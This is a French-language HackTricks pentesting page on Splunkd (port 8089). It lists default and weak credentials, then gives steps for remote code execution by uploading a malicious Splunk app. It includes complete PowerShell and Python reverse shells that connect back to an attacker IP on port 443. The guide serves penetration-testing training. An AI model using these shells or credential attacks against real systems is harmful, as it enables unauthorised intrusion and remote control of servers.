mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
119 lines
4.5 KiB
Markdown
119 lines
4.5 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Informations de base**
|
|
|
|
- Outil d'analyse de logs utilisé pour la collecte, l'analyse et la visualisation des données
|
|
- Couramment utilisé dans la surveillance de la sécurité et l'analyse commerciale
|
|
- Ports par défaut :
|
|
- Serveur web : 8000
|
|
- Service Splunkd : 8089
|
|
|
|
### Vecteurs de vulnérabilité :
|
|
|
|
1. Exploitation de la version gratuite
|
|
|
|
- La version d'essai se convertit automatiquement en version gratuite après 60 jours
|
|
- La version gratuite manque d'authentification
|
|
- Risque de sécurité potentiel si elle n'est pas gérée
|
|
- Les administrateurs peuvent négliger les implications de sécurité
|
|
|
|
2. Faiblesses des identifiants
|
|
|
|
- Anciennes versions : Identifiants par défaut `admin:changeme`
|
|
- Nouvelles versions : Identifiants définis lors de l'installation
|
|
- Potentiel d'utilisation de mots de passe faibles (par exemple, `admin`, `Welcome`, `Password123`)
|
|
|
|
3. Opportunités d'exécution de code à distance
|
|
|
|
- Plusieurs méthodes d'exécution de code :
|
|
- Applications Django côté serveur
|
|
- Points de terminaison REST
|
|
- Entrées scriptées
|
|
- Scripts d'alerte
|
|
- Support multiplateforme (Windows/Linux)
|
|
- Les entrées scriptées peuvent exécuter :
|
|
- Scripts Bash
|
|
- Scripts PowerShell
|
|
- Scripts Batch
|
|
|
|
Potentiel d'exploitation clé :
|
|
|
|
- Stockage de données sensibles
|
|
- Manque d'authentification dans la version gratuite
|
|
- Multiples vecteurs pour une potentielle exécution de code à distance
|
|
- Possibilité d'exploiter des entrées scriptées pour compromettre le système
|
|
|
|
### Shodan
|
|
|
|
- `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Créer une application personnalisée
|
|
|
|
Splunk offre une méthode sophistiquée pour l'exécution de code à distance via le déploiement d'applications personnalisées, tirant parti de ses capacités de script multiplateformes. La technique d'exploitation principale consiste à créer une application malveillante capable d'exécuter des shells inversés sur les systèmes Windows et Linux.
|
|
|
|
Une application personnalisée peut exécuter **des scripts Python, Batch, Bash ou PowerShell**. De plus, **Splunk est livré avec Python installé**, donc même sur des systèmes **Windows**, vous pourrez exécuter du code Python.
|
|
|
|
Vous pouvez utiliser [**cet**](https://github.com/0xjpuff/reverse_shell_splunk) exemple avec le **`bin`** contenant un exemple pour [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) et [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ou vous pourriez créer le vôtre.
|
|
|
|
Le processus d'exploitation suit une méthodologie cohérente à travers les plateformes :
|
|
```
|
|
splunk_shell/
|
|
├── bin (reverse shell scripts)
|
|
└── default (inputs.conf configuration)
|
|
```
|
|
Le fichier de configuration critique `inputs.conf` active le script en :
|
|
|
|
- Définissant `disabled = 0`
|
|
- Configurant un intervalle d'exécution de 10 secondes
|
|
- Définissant le type de source du script
|
|
|
|
Le déploiement est simple :
|
|
|
|
1. Créer le package d'application malveillant
|
|
2. Configurer un écouteur (Netcat/socat) sur la machine attaquante
|
|
3. Télécharger l'application via l'interface de Splunk
|
|
4. Déclencher l'exécution automatique du script lors du téléchargement
|
|
|
|
Exemple de shell inversé Windows PowerShell :
|
|
```bash
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
|
|
$stream = $client.GetStream();
|
|
[byte[]]$bytes = 0..65535|%{0};
|
|
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
|
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
|
|
$sendback = (iex $data 2>&1 | Out-String );
|
|
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
|
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
|
$stream.Write($sendbyte,0,$sendbyte.Length);
|
|
$stream.Flush()
|
|
};
|
|
$client.Close()
|
|
```
|
|
Exemple de shell inverse Python sur Linux :
|
|
```python
|
|
import sys, socket, os, pty
|
|
ip = "10.10.14.15"
|
|
port = "443"
|
|
s = socket.socket()
|
|
s.connect((ip, int(port)))
|
|
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Escalade de privilèges
|
|
|
|
Dans la page suivante, vous pouvez trouver une explication sur la façon dont ce service peut être abusé pour escalader les privilèges et obtenir une persistance :
|
|
|
|
{{#ref}}
|
|
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
|
|
{{#endref}}
|
|
|
|
## Références
|
|
|
|
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|